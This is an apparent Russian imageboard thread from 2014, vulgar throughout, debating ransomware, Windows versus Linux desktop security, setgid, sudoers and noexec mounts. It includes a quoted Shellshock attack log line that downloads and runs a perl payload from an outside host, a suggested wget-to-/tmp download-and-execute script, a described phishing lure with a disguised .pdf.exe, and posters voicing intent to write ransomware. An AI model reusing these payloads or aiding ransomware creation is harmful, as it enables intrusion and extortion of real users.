Почему ты такой тупорылый еблан? ВОТ ВЕСЬ этот тред разговор идёт про то, что основная масса вирусов обитает на компьютерах домохозяек и всяких тупых пёзд, которые зпускают всё подряд из своего почтового ящика.

>пока я его запущу
>я его запущу
У меня винда, и им тоже осталось дождаться пока я его запущу.




Тупорылый ты еблан, пойми, на тебя всем похуй, все прекрасно знают, что ты не запустишь. Но запустит Света из бухгалтерии, которая обкакается от криптолокера и побежит платить бабло.
Аноним 18/11/14 Втр 10:47:52 #141 №1086722 
>>1086719
Им бесполезно это объяснять. Они просто не способны осознать эту мысль из-за низкого интеллекта.
Аноним 18/11/14 Втр 10:49:56 #142 №1086724 
>>1086711
>Если бы ты осилил прочитать этот тред, ты бы узнал, что для запуска криптолокера рут не нужен.
А почему тогда не запускают всякие браузеры-явы и прочее заведомо дырявое говно от другого ограниченного в правах пользователя, а не под тем, каким идет работа (и конечно не под рутом)?

мимопроходил
Аноним 18/11/14 Втр 10:55:47 #143 №1086725 
>>1086711
> доказать отсутствие
Ну вот, опять. https://ru.wikipedia.org/wiki/Чайник_Рассела
Аноним 18/11/14 Втр 10:57:20 #144 №1086726 
>>1086725
>что бремя доказательства ложности религиозных утверждений лежит на сомневающемся
Аноним 18/11/14 Втр 11:02:15 #145 №1086730 
>>1086724
ВЕРЯТ в безопасность пердоликса, очевидно же.
Аноним 18/11/14 Втр 11:06:54 #146 №1086737 
>>1086711
>для запуска криптолокера рут не нужен
Ты это просто так сказал или какой-то вывод хотел сделать? Если ты прочитаешь ветку разговора, то увидишь, что речь шла о простом-скрипте-на-перле, а не о криптолокере.
>>1086719
>ВЕСЬ этот тред разговор идёт про
Ну так и говори, с кем ты там говорил, а в мой дискач на другую тему не лезь. Свободен.
>>1086724
Я так и делаю. Процесс браузера у меня не имеет доступа ни к каким данным, кроме пустого хомяка отдельного юзера.
Аноним 18/11/14 Втр 11:06:57 #147 №1086738 
>>1086730
Не, тут вопрос даже не про пердоликс, сколько про сам принцип.
Взять хотя бы пример с виндой выше. Бухгалтер Света сидит на ворованной Икспи без сервис паков и вопреки наставления эникея Васи сидит на старой доисторической версии IE вместо браузера. Все рабочие файлы бухгалтер хранит на своем рабочем столе. Результат не заставляет себя ждать - прохождение онлайн-тестов на беременность заражают ее компьютер локером, хуекером, все файлы на рабочем столе зашифрованы и чтобы всё это разблокировать-снять необходимо 2.5 млн рублей.

Повторю вопрос - почему не запускать браузеры-явы и прочее заведомо дырявое говно от другого ограниченного пользователя? Ведь по логике, оно бы спасло от таких ситуаций.
Аноним 18/11/14 Втр 11:07:25 #148 №1086741 
>>1086726
Невозможно доказать отсутствие чего-либо, спермач. Для доказательства существования достаточно было бы привести пример, в то время как для доказательства отсутствия необходимо было бы перебрать все возможные элементы и убедиться, что среди них нет того, отсутствие чего доказывается.
Аноним 18/11/14 Втр 11:11:02 #149 №1086743 
>>1086737
>Я так и делаю. Процесс браузера у меня не имеет доступа ни к каким данным, кроме пустого хомяка отдельного юзера.
Это интересно, а как настроить ОС так, чтобы ссылки из мессенджеров/почтовых клиентов/откуда угодно по дефолту открывались именно в браузере, запущенном от отдельного юзера?
Аноним 18/11/14 Втр 11:12:38 #150 №1086744 
>>1086741
>Невозможно доказать отсутствие чего-либо
Это потому что тебе так сказали на двачике?
Аноним 18/11/14 Втр 11:12:49 #151 №1086745 
>>1086724
Неудобно, ибо постоянно приходится переключать пользователей. Я бы точно психанул через 3 дня.
Аноним 18/11/14 Втр 11:13:51 #152 №1086747 
>>1086745
Под "переключать пользователей" ты имеешь в виду сменить сеанс в ОС? Ты ебануля?
Аноним 18/11/14 Втр 11:14:01 #153 №1086748 
>>1086738
Проще регулярно делать бекапы важных данных.
Аноним 18/11/14 Втр 11:17:50 #154 №1086751 
>>1086744
Это потому, что я написал дальше. Быстро ты слился.
Аноним 18/11/14 Втр 11:17:50 #155 №1086752 
>>1086741
Ололо, обосрался с чайником Рассела и ушёл в отрицание. Возможность создания криптолокера под линукс полностью удовлетворяет критерий Поппера.
Аноним 18/11/14 Втр 11:19:35 #156 №1086753 
>>1086738
Потому что для этого нужен не запуск от отдельного юзера (слишком грубое и неудобное разграничение), а настройка доступа разным приложениям в разные директории и запрет запуска приложений, к примеру. А для этого надо логически продумывать политику безопасности по ситуации, чего Маша сама делать никогда не станет. В нормальных конторах админ это сделает, но мы же говорим про домашних юзеров, ну или про быдлоконторы с эникеем на полставки, в крайнем случае.
Аноним 18/11/14 Втр 11:19:39 #157 №1086754 
>>1086738
Бухгалетер Света через неделю бы наорала на эникея Васю, что она заебалась открывать браузер через жопу, и что у её подружки Маши на работе все хорошо и удобно, а она ебётся с какими-то переключениями пользователей.

>>1086747
В любом случае надо было бы постоянно вводить логин и пароль между сеансами. А это пиздец.
Аноним 18/11/14 Втр 11:19:55 #158 №1086755 
>>1086743
>как настроить ОС
>чтобы ссылки из мессенджеров/почтовых клиентов
Ебать ты пердолик. Настраивать нужно не «ОС», а программы, которыми ты пользуешься.
sudo -u iceweasel iceweasel $1
>>1086745
Ещё один пердолик. Запуск браузера у меня на хоткее, команда выше. О каком переключении ты говоришь, маня?
Аноним 18/11/14 Втр 11:20:04 #159 №1086756 
>>1086752
Ты цепочку сообщений хоть читаешь? Речь шла не о возможности создания криптолокеров (которой ни я, ни предыдущие аноны не отрицали), а о наличии ботнетов на десктопном линуксе, отсутствие которых >>1086711 потребовал доказать.
Аноним 18/11/14 Втр 11:20:58 #160 №1086758 
>>1086748
Звучит как "проще смазать очко".
Возможные действия пользователя мне вполне понятны, меня интересует другое - если рассуждения выше верны и при запуске говна от ограниченной учетной записи, это говно ничего не сможет заразить кроме себя и даже получить доступ к пользовательским файлам не сможет, какого хуя за столько лет разработчики ОС не внедрили это повсеместно?
А может быть рассуждения ложны и дело не только в ограниченных правах? Хуй знает как сформулировать толково догадку - браузер использует некие системные библиотеки, явы-флеши-плагинчики тоже используют и каким-то образом злобный вирус всё-таки находит себе пути наружу?

В случае с виндой - не все же сидят поголовно под рутом с выключенным UAC, UAC ведь ряд вирусов обходит.
Аноним 18/11/14 Втр 11:21:23 #161 №1086759 
>>1086754
Ну при нормальном IT-отделе Света посылается получать пизды от директора за такие капризы.
Аноним 18/11/14 Втр 11:21:44 #162 №1086760 
>>1086754
>вводить логин и пароль
>ебётся с какими-то переключениями пользователей
Пердолик 80 левела. Это же надо быть таким неграмотным дебилом.
Аноним 18/11/14 Втр 11:22:12 #163 №1086761 
14162989324520.jpg
>>1086755
>О каком переключении ты говоришь, маня?
О переключении между пользователями.

>sudo -u iceweasel iceweasel $1
Ага, и чтобы получить возможность открывать все эти файлы, надо самому тоже постоянно ебаться с sudo -u iceweasel iceweasel $1
Аноним 18/11/14 Втр 11:22:59 #164 №1086763 
>>1086758
>какого хуя за столько лет разработчики ОС не внедрили это повсеместно?
В андроиде вон, кое-как внедрили.
Аноним 18/11/14 Втр 11:24:05 #165 №1086764 
>>1086761
> надо самому тоже постоянно ебаться с sudo -u iceweasel iceweasel $1
Что ты несёшь? Команда открытия файла в твоём ПО настраивается? Напиши туда что надо и забудь.
Аноним 18/11/14 Втр 11:24:59 #166 №1086765 
>>1086751
>для доказательства отсутствия необходимо было бы перебрать все возможные элементы и убедиться, что среди них нет того, отсутствие чего доказывается
То есть доказать отсутствие всё же возможно, только это сложнее сделать. А в качестве аргумента использовать аналогию, приведённую для опровержения религиозной идеи - это пиздец.
Аноним 18/11/14 Втр 11:25:32 #167 №1086766 
>>1086754
>Бухгалетер Света через неделю бы наорала на эникея Васю, что она заебалась открывать браузер через жопу, и что у её подружки Маши на работе все хорошо и удобно, а она ебётся с какими-то переключениями пользователей.
Ты тоже в глаза долбишься?
Ну будет у нее на рабочем столе вместо ярлыка .bat файл с измененным ярлычком и названием ИНТЕРНЕТ с содержимым runas /user:света-ослик C:\ослик.exe. Света никакой разницы не заметит.

>>1086755
>Ебать ты пердолик. Настраивать нужно не «ОС», а программы, которыми ты пользуешься.
>sudo -u iceweasel iceweasel $1
>пердолик
>настраиваьт нужно программы, которыми ты пользуешься
>пердолик
Ясно, можешь не продолжать. Значит, разумных реализаций нет?
Аноним 18/11/14 Втр 11:25:50 #168 №1086767 
>>1086759
Но если Света главбух, то пизды получит весь IT-отдел.

>>1086764
В итоге у тебя всё сведётся к тому, что ВСЕ программы будут запускаться из sudo -u iceweasel iceweasel $1
Аноним 18/11/14 Втр 11:27:44 #169 №1086768 
>>1086766
>разумных реализаций нет?
Есть, и одна из них описана мной. Хочешь возразить? Я слушаю.
Аноним 18/11/14 Втр 11:27:59 #170 №1086769 
>>1086756
На серверах ботнеты есть, следовательно и на десктопе они возможны.
Аноним 18/11/14 Втр 11:29:18 #171 №1086770 
>>1086767
>ВСЕ программы будут запускаться из sudo -u iceweasel iceweasel $1
Mmm, what?
Аноним 18/11/14 Втр 11:30:35 #172 №1086771 
>>1086766
>Ну будет у нее на рабочем столе вместо ярлыка .bat файл с измененным ярлычком и названием ИНТЕРНЕТ с содержимым runas /user:света-ослик C:\ослик.exe. Света никакой разницы не заметит.
В итоге получается, что все её ДЕЙСТВИТЕЛЬНО важные документы ТОЖЕ будут сохранены из под юзера "света-ослик", всякие решения суда, фотки, сообщения, doc, xls, которые она сохранила из почты. И в один момент она случайно запустит важный_документ.pdf.exe который тоже из под юзера "света-ослик", который зашифрует все её действительно важные файлы.
Аноним 18/11/14 Втр 11:30:48 #173 №1086772 
>>1086765
> То есть доказать отсутствие всё же возможно, только это сложнее сделать.
Да. Доказать отсутствие этого самого чайника тоже, в принципе, возможно, но для этого придётся исследовать каждый сантиметр космоса от Земли до Марса.
А для доказательства отсутствия ботнетов на десктопном линуксе придётся проверить каждый компьютер с десктопным линуксом.
> качестве аргумента использовать аналогию, приведённую для опровержения религиозной идеи - это пиздец
Эта аналогия прекрасно подходит и для других случаев.
Аноним 18/11/14 Втр 11:31:16 #174 №1086773 
>>1086769
>следовательно
Обоснуй. Всё равно что сказать «На linux btrfs работает, следовательно, может работать и на windows».
Аноним 18/11/14 Втр 11:32:46 #175 №1086775 
>>1086768
Это какое-то безумие, чтобы обсуждать. Для гиков-параноиков сойдет, а бухгалтер Света пожалуется директору, что ты ебанутый гик и у тебя из жопы торчит 20-дюймовая консоль.
Ты бы еще виртуалку под каждую программу накатывал.

>>1086771
Это в случае, если важные файлы она получает через браузер, а не через почтовый_клиент-флешки-диски-дискеты. В противном случае ты прав.
Аноним 18/11/14 Втр 11:32:58 #176 №1086776 
>>1086770
Да ты заебал, всем похуй на тебя, и криптолокер не расчитан для таких как ты.
Аноним 18/11/14 Втр 11:33:18 #177 №1086777 
>>1086769
А кто-то говорил, что невозможны? Проблема в том, что вышеуказанный спермач считает, что поскольку невозможно доказать их отсутствие, то они непременно есть, а не теоретически могут присутствовать.
Аноним 18/11/14 Втр 11:33:32 #178 №1086778 
>>1086771
>все её ДЕЙСТВИТЕЛЬНО важные документы ТОЖЕ будут сохранены из под юзера "света-ослик"
man setgid
>случайно запустит важный_документ.pdf.exe который тоже из под юзера "света-ослик"
>подразумевая, что владелец исполняемого файла как-то связан с правами запущенного приложения
Дебилушка, десу.
Аноним 18/11/14 Втр 11:35:14 #179 №1086779 
>>1086775
>бухгалтер Света пожалуется директору
На что она пожалуется? Она что, будет в консоль пердолиться, чтобы посмотреть, что браузер запущен из-под отдельного пользователя? Проснись, мы в реальном мире: она даже не заметит, что что-то изменилось.
>>1086776
>похуй на тебя
Спасибо, что обратил на меня внимание.
Аноним 18/11/14 Втр 11:40:28 #180 №1086781 
>>1086778
>man setgid
Но ты скажи это бухгалтеру Свете.

>через почтовый_клиент-флешки-диски-дискеты
В 99% случаев криптолокер приходит тем же путём каким приходят все основные документы. В результате, криптолокер имеет доступ ко всем этим докуметам.
Аноним 18/11/14 Втр 11:41:17 #181 №1086782 
>>1086767
> Но если Света главбух, то пизды получит весь IT-отдел.
Это вопрос исключительно сознательности начальника предприятия в отношении IT-безопасности и безопасности вообще. В нормальных конторах на вопли главбуха кладут хуй, и правильно делают, он тоже в этом плане должен подчиняться СБ/IT отделу, чтобы данные не утекли/не потерялись. В анальных ФГУПах и всяких шарашкиных клоаках всем на это похуй, ну и результат предсказуем. Вопрос оценки рисков начальством, в общем.
Аноним 18/11/14 Втр 11:42:21 #182 №1086783 
>>1086778
>>подразумевая, что владелец исполняемого файла как-то связан с правами запущенного приложения
>Дебилушка, десу.
При запуске процесса, новый процесс получает теже права что были у его родителя, если явно не сделано что-то другое, что переопределяет права дочернего. В случае браузеров и почтовых клиентов всё происходит именно так.
Аноним 18/11/14 Втр 11:42:29 #183 №1086784 
>>1086781
>>man setgid
>Но ты скажи это бухгалтеру Свете.
>НЕЧИТАЮ НЕСМОТРЮ НЕВИДЕЛ НЕПРАВДА
А теперь ещё разок перечитай >>1086779.
Аноним 18/11/14 Втр 11:44:20 #184 №1086785 
>>1086784
Долбоёб, кто будет делать setgid после каждого сохранения файла на диск?
Аноним 18/11/14 Втр 11:44:24 #185 №1086786 
>>1086783
>При запуске процесса, новый процесс получает теже права что были у его родителя
Верно. Но ты же написал «документы будут сохранены из под юзера "света-ослик"» и «она случайно запустит важный_документ.pdf.exe который тоже из под юзера "света-ослик"». Так какая там связь между владельцем файла и uid процесса?
Аноним 18/11/14 Втр 11:45:24 #186 №1086788 
>>1086777
>спермач считает, что поскольку невозможно доказать их отсутствие, то они непременно есть
Покажи мне пост с этим высказыванием.
Аноним 18/11/14 Втр 11:45:38 #187 №1086789 
>>1086786
Процесс работающий из под юзера "света-ослик" имеет доступ ко всем документам к которым имеет доступ юзер "света-ослик"
Аноним 18/11/14 Втр 11:46:23 #188 №1086790 
>>1086779
На то, что программы запускаются каждый через своего пользователя и как следствие - сохраненные файлы через эти программы имеют каждый разного владельца и как результат - чтобы потом Свете открыть и отредактировать сохраненные файлы через файловый менеджер ей надо пердолиться и запускать всё от рута или менять права вручную? Я не понимаю, ты всерьез сейчас?
sageАноним 18/11/14 Втр 11:46:27 #189 №1086791 
>>1086785
>делать setgid после каждого сохранения файла
Ты будешь делать, если такой долбоёб, что не знаешь эффекта setgid для директории.
Аноним 18/11/14 Втр 11:48:17 #190 №1086792 
>>1086789
Экий же ты клоун.
>она случайно запустит важный_документ.pdf.exe который тоже из под юзера "света-ослик"
Как она его случайно запустит, васян?
Аноним 18/11/14 Втр 11:49:14 #191 №1086793 
>>1086790
>сохраненные файлы через эти программы имеют каждый разного владельца
Иногда мне кажется, что у спермачей специальный фильтр на входе, отвергающий рабочие решения. Давай я ещё раз повторю, man setgid.
Аноним 18/11/14 Втр 12:18:07 #192 №1086803 
>>1086793
Почитал, нужно пояснение, правильно ли я понял, как это работает.
chmod g+s /home/sveta заставляет все вновь созданные (старые мы вручную пофиксим) в этой директории файлы иметь такую же группу, как в /home/sveta, в нашем примере

ls -l /home
drwxr-xr-x 11 sveta sveta 4.0K November 18 2014 sveta
drwxr-xr-x 11 cooladmin cooladmin 4.0K November 18 cooladmin

Соответственно, если файлы были сохранены через firefox, запущенный от пользователя firefox, они будут записаны от firefox:sveta, если через thunderbird, то thunderbird:sveta, если через qbittorrent - то qbittorrent:sveta. Получаем, sveta имеет доступ ко всем файлам, а если вдруг обнаружилась страшная дыра в firefox, он сможет попортить только файлы, записанные от него же, не затронув другие Лучше, чем ничего, да.

Остается старый вопрос - как заставить Свету запускать программы только от нужных пользователей? Ярлычки с su thunderbird -c thunderbird ты ей сделаешь, а что будет, если она в письме почтового клиента откроет ссылку на "тест на беременность онлайн", firefox будучи браузером по умолчанию откроется от sveta и будет иметь доступ ко всем файлам директории /home/sveta?
Аноним 18/11/14 Втр 12:18:23 #193 №1086805 
>>1086669
> которые просили смс на номер отправить.
Ты путаешь порнобанер на весь экран (с невозможностью штатно его закрыть), переименовывалки файлов и, собственно, криптолокер последнего поколения.
Я тебе написал алгоритм.
Не веришь мне - сходи по сылкам указанным выше/погугли BAT.Encoder и почитай других людей. Или они тоже все некомпетентные лжецы?
Самые первые, ради оптимизации процесса, использовали весьма нестойкое шифрование и их можно было даже брутфорсом попробовать. 13-20 дней, немного везения и ты уже делаешь бекапы.
Современые штеуды с аппаратным AES недостатка производительности лишены. Поэтому врубается на полную катушку, пока лохоюзер хлопает ушами. Итог - или плати или отложи свои данные до квантовой эры, которая может и наступит, а может уже и наступила, но ты же не открыл коробку, да?

Это тебе подтверждение, что написанный мной алгоритм выше - не моя придумка
http://virusinfo.info/showthread.php?t=162092

А это про моего любимого
https://securelist.ru/blog/issledovaniya/24070/shifrovalshhik-cryakl-ili-fantomas-razbushevalsya/
Особенно забавно:
> Типичный представитель семейства Cryakl написан на языке Delphi
> Delphi
Ну точно школьник из /по/раши бушует, лол. Даже тонко становится.
Аноним 18/11/14 Втр 13:20:01 #194 №1086820 
Адепт setgid, ты жив еще?
Аноним 18/11/14 Втр 13:35:59 #195 №1086823 
>>1086803
>нужно пояснение, правильно ли я понял
Правильно, правильно.
>firefox будучи браузером по умолчанию
Ничего не мешает сделать браузером по умолчанию sudo -u iceweasel iceweasel.
>>1086820
Не сидеть же мне 24/7.
Аноним 18/11/14 Втр 14:06:41 #196 №1086852 
>>1086823
>Ничего не мешает сделать браузером по умолчанию sudo -u iceweasel iceweasel.
И каждый раз при запуске какой-нибудь программы из списка Света должна будет вводить пароль.
А также проблемы в гипотетическом случае, когда одной программе из списка нужно будет изменить файл, прав доступа к которому у нее нет. Но это я к мелочам уже доебываюсь, конечно. Тем не менее моменты не очень красивые.

Я бы наверное модернизировал костыли в "запускать потенциально дырявые программы от одного другого юзера, при том же chmod g+s /home/sveta, а по крону раз в n времени с помощью lsof искать незадействованные в данный момент файлы с владельцем user:sveta и менять на sveta:sveta", таким образом в случае чего есть вероятность повредить только новые файлы с последнего запуска скрипта, что не так страшно. Но так и до бекапа недалеко, лол.

Конечно, если дырка была обнаружена в запущенной программке от sveta, это не поможет, плюс необходимость вводить пароль всё-таки смущает. И наверняка еще какие-то моменты всплывут, вроде, при стандартных действиях софт будет предлагать открывать/сохранять файлы в /home/user вместо /home/sveta. Надо поковырять будет, в общем.
Аноним 18/11/14 Втр 14:10:48 #197 №1086853 
>>1085833
Ага, перед этим дав ему права рута. Только мудак работает под рутом, на винде тем более. Долбоебам уже UAC запилили, обычным учеткам запретили ставить что-либо вообще, но нет, долбоеб всегда нажмет "да" даже без задней мысли, чтобы это могло значить. Такие же примерно люди любят подписывать бумаги не читая их.
Аноним 18/11/14 Втр 14:15:16 #198 №1086859 
>>1086852
>должна будет вводить пароль
Хватит уже нести хуйню, а? man sudoers
>модернизировал костыли
>так и до бекапа недалеко
Во-во. Обсуждаемое решение чисто гипотетическое, просто потому что ты (?) >>1086724>>1086738 спросил.
Аноним 18/11/14 Втр 15:04:24 #199 №1086906 
>>1086859
>Хватит уже нести хуйню, а? man sudoers
Какая хуйня?
Если у юзера стоит пароль, то пароль однозначно надо будет вводить, только что проверил.
Или ты про вариант без пароля? Секьюрно ли это?
Аноним 18/11/14 Втр 15:40:30 #200 №1086924 
Нашел про NOPASSWD, век живи - век учись.
Аноним 18/11/14 Втр 17:26:08 #201 №1086979 
>>1086853
>долбоеб всегда нажмет "да" даже без задней мысли, чтобы это могло значить
Долбоёб и в линуксе введёт пароль, нет никакой разницы.
Аноним 18/11/14 Втр 21:59:28 #202 №1087137 
>>1086906
>Если у юзера стоит пароль, то пароль однозначно надо будет вводить
Тебе же сказали прочитать man sudoers и перестать нести хуйню.
Аноним 18/11/14 Втр 22:16:52 #203 №1087140 
>>1085822
>Кто-то из семейства открыл вирусяку и все файлы закодировалить.
>все
Всё семейство под одной учёткой сидит? Или вообще под админом?
Клоуны ёбаные.
Аноним 19/11/14 Срд 00:32:47 #204 №1087183 
Лол, а ведь это идея(ну для меня слоупока, во всяком случае), там же просто все шифруется гпг(судя по ключу), как написать такое под линукс то я знаю, главное чтоб юзверь запустил сценарий, а вот как такое делается в винде, просвятите, пожалуйста, как делается такой екзе?
Аноним 19/11/14 Срд 01:20:29 #205 №1087202 
Ах да, ОП, не знаю писали ли это уже в треде но у меня для тебя плохие новости - файлы ты никак уже не расшифруешь. Алгоритм шифрования пгп(и иных его реализаций) взлому не поддается. Пожалуй-ка напишу такую же штуку под линукс, чтобы подсовывать ее местным ананасикам в качестве чудодейственного скрипта.
19/11/14 Срд 01:37:19 #206 №1087207 
>>1087183
Создается письмо, в нём красивый и серьёзный текст про изменения в правилах обслуживания клиентов банков и в нём вложение. Там zip архив, в нём файл важный_документ.pdf.exe , а дальше главное хорошая база адресов. Работает с эффективностью 1-2% от фактического количества писем которые дошли до ящиков (пока сервера и боты спамеров не попали в спам-базы ) можно зарядить всякие pdf или doc эксплоиты, но они быстро латаются, а компы жирных клиентов, которые легко расстанутся с 500 рублями для расшифровки, как правило, обновлены по самое не могу
Аноним 19/11/14 Срд 02:01:50 #207 №1087215 
>>1087207
Не, анон, имел можешь кинуть какие-нибудь маны по написанию сценариев или как там это называется у виндузятников, как компилить в экзешник добавив в него еще один экзешник с криптером ну и тому подобное.
Аноним 19/11/14 Срд 09:21:59 #208 №1087293 
>>1087183>>1087202
>как делается такой екзе
Да хоть батник с тем же gpg.exe.
>Алгоритм шифрования пгп(и иных его реализаций)
Проиграл со знатока. Иди читай, что такое pgp/gpg. «Алгоритм шифрования пгп» у него, лол. Какой из RSA, RSA-E, RSA-S, ELG-E, DSA, 3DES, CAST5, BLOWFISH, AES, AES192, AES256, TWOFISH, CAMELLIA128, CAMELLIA192, CAMELLIA256?
>>1087215
А ты писать на чём-нибудь умеешь? Хоть на чём-нибудь? Вот на нём и пиши, сделаешь потом из этого exe под сперму.
Аноним 19/11/14 Срд 09:31:56 #209 №1087296 
14163787168990.png
Пиздец вы тут хуйни понаписали. Запуск браузера от другого пользователя, ввод пароля, охуевшая света.

Вы совсем ебанулись? Тупая света ничего не сможет запустить из своей хомки.
В отличии от винды такой способ распространения криптолокеров просто не будет работать.



Аноним 19/11/14 Срд 09:40:07 #210 №1087301 
>>1087296
>Тупая света ничего не сможет запустить из своей хомки.
Даже если там будет ФМС Запрос данных о сотрудниках.doc.pl?
Аноним 19/11/14 Срд 09:47:07 #211 №1087305 
>>1087301
нужно все-равно исполняемым сделать
Аноним 19/11/14 Срд 09:56:31 #212 №1087307 
>>1087305
напишут bash-скрипт, переименуются его в pdf, а письме будет написано "это очень важное сообщение, вы должны его прочитать, сохраните текстовый документ из вложения и выполните команду bash важный_документ.pdf"
Аноним 19/11/14 Срд 10:00:38 #213 №1087309 
>>1087301
У меня его открывает kate.

Можно запустить ФМС Запрос данных о сотрудниках.doc.desktop записав весь код в Exec, но без флага +x дельфин переспрашивает стоит-ли запускать вот эту хуйню в Exec. Хотя, тупая секретарша скорее всего нажмет продолжить.
Аноним 19/11/14 Срд 10:30:20 #214 №1087322 
>>1087301
>>1087305
>>1087307
>>1087309
Всё хуйня. Достаточно смонтировать домашний каталог с noexec, и света не сможет запустить вирос.
Аноним 19/11/14 Срд 10:32:27 #215 №1087325 
>>1087322
bash-скрипт всё равно сможет запустить.
Аноним 19/11/14 Срд 10:34:00 #216 №1087327 
>>1087325
Как bash ~/viros.sh?
Аноним 19/11/14 Срд 10:35:08 #217 №1087329 
>>1087327
да
Аноним 19/11/14 Срд 10:41:07 #218 №1087333 
>>1087329
Но ведь тогда придётся писать виросы на скриптах.
Аноним 19/11/14 Срд 10:42:05 #219 №1087334 
14163829252620.png
14163829252631.png
14163829252652.png
Почему исполняемые файлы в линуксе не имеют расширения? Это дефолтный xfce, если что.
Аноним 19/11/14 Срд 10:43:04 #220 №1087336 
>>1087333
В скрипте делаешь wget http://virus.ru/virus и сохраняешь в /tmp потом делаешь chmod +x, а потом запускаешь.
Аноним 19/11/14 Срд 10:46:17 #221 №1087338 
>>1087334
А зачем нужно расширение?
Аноним 19/11/14 Срд 10:55:35 #222 №1087343 
>>1087336
Но ведь /tmp тоже смонтирован с noexec. Это, кстати, распространённый финт для повышения безопасности — разделы, куда могут писать все пользователи, монтировать с nosuid,nodev,noexec
Аноним 19/11/14 Срд 11:03:18 #223 №1087346 
>>1087305
Согласен, из коробки большинство загрузчиков создают файлы без x-бита. Workaround — запихнуть ФМС Запрос данных о сотрудниках.doc.pl в архив, назначив нужные права. Света распакует и запустит.
>>1087307
Взлольнул.
>>1087309
>У меня его открывает kate.
А у неё откроет perl.
>>1087334
Потому что расширение — костыль для спермачей, не умеющих в определение типа файла по его содержимому.
Аноним 19/11/14 Срд 11:05:20 #224 №1087347 
>>1087343
анальная защита уровня хромось
Аноним 19/11/14 Срд 11:10:54 #225 №1087352 
>>1087346
>Потому что расширение — костыль для спермачей, не умеющих в определение типа файла по его содержимому
Ну вообще-то в винде всё через реестр настраивается и можно тоже сделать автоопределение формата по содержимому запилить. Только это надо только ебанутым пердоликам.
Аноним 19/11/14 Срд 11:12:35 #226 №1087354 
>>1087352
>в винде автоопределение формата по содержимому запилить
Да ну? Ну показывай, мастер Шindows 80-го левела.
>надо только ебанутым пердоликам
Конечно, куда лучше бежать на парашу и выспрашивать «ПОСАНЫ КАК ОТКРЫТЬ XPI», не зная, что это обычный zip-архив.
Аноним 19/11/14 Срд 11:15:42 #227 №1087357 
>>1087354
>Да ну? Ну показывай, мастер Шindows 80-го левела.
Есть ветки в реестре, которая отвечает за расширение .exe и .doc или что угодно. В них можно прописать программу, которая будет сначала парсить файл и в зависимости от формата запускать нужную программу обработчик.
Аноним 19/11/14 Срд 11:16:26 #228 №1087358 
>>1087347
Практичная мелочь. Загрузка тела вироса в /tmp используется очень часто, вот например при эксплуатировании shellshock:
193.25.195.151 - - [11/Nov/2014:04:39:36 +0300] "GET /cgi-sys/php5 HTTP/1.1" 444 0 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22wget www.freistilreisen.de/jack.jpg -O /tmp/jack.jpg;curl -O /tmp/jack.jpg www.freistilreisen.de/jack.jpg;perl /tmp/jack.jpg;rm -rf /tmp/jack.jpg\x22);'"
Аноним 19/11/14 Срд 11:20:27 #229 №1087359 
>>1087346
Тогда почему же остальные файлы в линуксе имеют расширения?
Аноним 19/11/14 Срд 11:21:19 #230 №1087362 
>>1087358
> perl /tmp/jack.jpg
И один хуй он его запустит. Сам перл то исполняемый, ему дали скрипт - он его исполнил. Как noexec поможет?
Аноним 19/11/14 Срд 11:23:24 #231 №1087365 
>>1087354
>ПОСАНЫ КАК ОТКРЫТЬ XPI
Долбоёбы, не умеющие в гугл должны страдать.
Аноним 19/11/14 Срд 11:23:40 #232 №1087366 
>>1087362
Да, но придётся
> писать виросы на скриптах
цликом, а не только даунлоадер.
Аноним 19/11/14 Срд 11:23:43 #233 №1087367 
>>1087357
>В них можно прописать программу, которая будет сначала парсить файл
Пердолик 81 левела сдетектирован. То есть, функциональность, которая есть в любом десктопном дистрибутиве GNU/Linux по умолчанию, на Питух ОС™ нужно пердолить вручную? Впрочем, чему я удивляюсь.
>>1087359
Какие «остальные» и в каком таком «линуксе»? Линукс это ядро.
Аноним 19/11/14 Срд 11:25:10 #234 №1087370 
>>1087365
Ты прав, вместе с долбоёбами, не умеющими в качественные ОС, делающие работу за пользователя, а не требующими юзера гуглить.
Аноним 19/11/14 Срд 11:25:52 #235 №1087371 
>>1087367
>То есть, функциональность, которая есть в любом десктопном дистрибутиве GNU/Linux по умолчанию, на Питух ОС™ нужно пердолить вручную?
Только нахуя твоя функциональность, когда намного проще и легче всё по расширению детектить и запускать нужные программы.
Аноним 19/11/14 Срд 11:29:19 #236 №1087377 
14163857590210.png
>>1087371
>проще и легче всё по расширению детектить и запускать нужные программы
Тогда почему среднестатистический спермоюзер вынужден >>1087365 гуглить, чтобы открыть .xpi? Почему гугл полон пикрелейтеда? И что будет делать юзер, если Анька.doc совершенно внезапно окажется случайно переименованным Анька.jpg?
Ты обосрался, спермач.
Аноним 19/11/14 Срд 11:31:19 #237 №1087378 
14163858795480.png
>>1087367
>Какие «остальные» и в каком таком «линуксе»? Линукс это ядро.
См. пикрелейтед, все остальные файлы имеют расширение.
Аноним 19/11/14 Срд 11:35:04 #238 №1087380 
14163861043160.png
>>1087378
Нет, не все.
Аноним 19/11/14 Срд 11:35:45 #239 №1087381 
>>1087377
>если Анька.doc совершенно внезапно окажется случайно переименованным Анька.jpg
То юзер точно также обосрётся и в пердоликсе.
Аноним 19/11/14 Срд 11:37:19 #240 №1087382 
14163862396470.png
>>1087381
Да что ты говоришь, пердоленька?
Аноним 19/11/14 Срд 11:41:28 #241 №1087384 
Ну-ка, спермачи, вот вам задачка. Откройте этот файл http://rghost.ru/59144051
Прыщебоги тоже могут попробовать, для них это вряд ли окажется сложным заданием.
Аноним 19/11/14 Срд 11:47:04 #242 №1087390 
14163868249240.png
14163868249251.png
>>1087382
Пердоля, ты обосрался.
Аноним 19/11/14 Срд 11:51:31 #243 №1087392 
>>1087390
>мой файловый менеджер дерьмо
>ты обосрался
Пердологика. Выкинь свой кал на свалку истории, он убог.
Давай, открывай >>1087384, ты же у нас специалист.
Аноним 19/11/14 Срд 11:58:37 #244 №1087394 
>>1087392
>КО КО КО ЛИНАКС НЕ ВИНОВАТ У ТИБЯ НИПРАВИЛЬНЫЙ ЛИНАКС
Аноним 19/11/14 Срд 12:04:15 #245 №1087397 
>>1087380
Ок, спрошу по-другому. Почему в дистрибутивах линукс есть файлы с расширениями?
Аноним 19/11/14 Срд 12:06:31 #246 №1087398 
>>1087394
>ЛИНАКС
А ядро тут при чём, пердоля?
>>1087397
Потому что кто-то тоже купился на «удобство» расширений.
Аноним 19/11/14 Срд 12:09:54 #247 №1087400 
>>1087392
>Выкинь свой кал на свалку истории, он убог.

Может сразу линукс выкинуть.
